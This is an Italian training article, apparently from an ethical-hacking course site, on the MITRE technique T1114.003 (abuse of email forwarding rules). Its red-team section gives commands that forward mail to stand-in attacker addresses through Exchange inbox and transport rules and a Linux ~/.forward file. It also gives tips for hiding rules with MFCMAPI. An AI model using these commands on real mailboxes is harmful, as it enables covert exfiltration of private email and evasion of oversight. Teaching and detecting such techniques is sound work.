Regole di Inoltro Email: Email Forwarding Rule (T1114.003)

La tecnica T1114.003 - Email Forwarding Rule descrive l'abuso delle regole di inoltro automatico dei client e server di posta per raccogliere silenziosamente comunicazioni sensibili. L'attaccante, ottenute credenziali valide o accesso amministrativo, configura regole che duplicano o redirigono i messaggi verso una casella controllata, tipicamente esterna al perimetro organizzativo.

Inquadrata nella tattica TA0009 (Collection), questa tecnica opera nella fase di raccolta della kill chain e si distingue per una caratteristica strategica: sopravvive al reset delle credenziali. Un amministratore può revocare la password compromessa, ma la regola di inoltro resta attiva nel profilo utente e continua a esfiltrare posta finché non viene esplicitamente rimossa. Questo la rende un meccanismo ibrido di collection e persistenza.

Le implementazioni variano dalle regole di casella individuali (inbox rules) create via Outlook, OWA o PowerShell, fino alle transport rule a livello tenant che intercettano l'intera posta organizzativa. Su Exchange è possibile occultare la regola manipolando le proprietà MAPI, rendendola invisibile alle console amministrative standard.

I dati MITRE documentano 5 gruppi APT che hanno abusato di questa tecnica in operazioni reali, tra cui campagne di spionaggio nordcoreano, frodi accademiche iraniane e intrusioni di estorsione. La disponibilità di 4 mitigazioni e di detection analytics multi-piattaforma (Windows, macOS, Linux, Office Suite) riflette la maturità delle contromisure, ma l'efficacia dipende dall'audit sistematico delle regole, spesso trascurato.

In un ingaggio red team, l'abuso delle regole di inoltro richiede credenziali valide o un token di sessione. La fase di accesso può basarsi su phishing, password spraying o furto di token OAuth; una volta ottenuto l'accesso alla mailbox, la creazione della regola è banale e a bassissima rumorosità.

Su Microsoft 365 / Exchange Online, il modulo ExchangeOnlineManagement di PowerShell (open source, Microsoft) è lo strumento canonico. Dopo Connect-ExchangeOnline, una regola di inoltro nascosta si crea con:

New-InboxRule -Name "Sync" -ForwardTo "attacker@external.tld" -DeleteMessage $false

Per aumentare la stealth, molti operatori impostano filtri che inoltrano solo messaggi contenenti parole chiave sensibili ("invoice", "credentials", "VPN"), riducendo il volume anomalo. La flag -StopProcessingRules può bloccare l'esecuzione di eventuali regole di alerting successive.

A livello tenant, se si dispone di privilegi Exchange Admin, la transport rule è la variante impiegata da LAPSUS$:

New-TransportRule -Name "Journaling" -BlindCopyTo "drop@attacker.tld" -SentToScope InOrganization

Questa intercetta ogni email interna senza modificare le singole caselle, risultando particolarmente insidiosa. In laboratorio è replicabile con un tenant Microsoft 365 Developer (gratuito, 90 giorni rinnovabili).

Per occultare la regola in Outlook desktop è possibile usare MFCMAPI (open source, GitHub microsoft/mfcmapi) modificando la proprietà PR_RULE_MSG_NAME e PR_RULE_MSG_PROVIDER per rendere la regola "hidden": Outlook e OWA non la mostreranno, mentre resta operativa sul server.

Su Google Workspace, l'equivalente si ottiene via API Gmail con lo scope gmail.settings.basic, creando un forwardingAddress e un filter con azione forward. Il tool GHunt (open source) è utile in fase di ricognizione OAuth pre-attacco.

Su ambienti Linux legacy si abusa del file ~/.forward o della configurazione procmail (open source, storicamente in Debian/Ubuntu):

echo "attacker@external.tld" > ~/.forward

Su macOS, le regole di Apple Mail risiedono in ~/Library/Mail/V/MailData/SyncedRules.plist* e possono essere modificate via AppleScript, benché richiedano la chiusura del client per essere ricaricate correttamente.

In un report red team, evidenziare sempre: identità dell'account compromesso, timestamp di creazione della regola, destinazione esterna, e se la regola risulta visibile o hidden. Rimuovere la regola al termine dell'ingaggio con Remove-InboxRule è parte integrante del cleanup.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.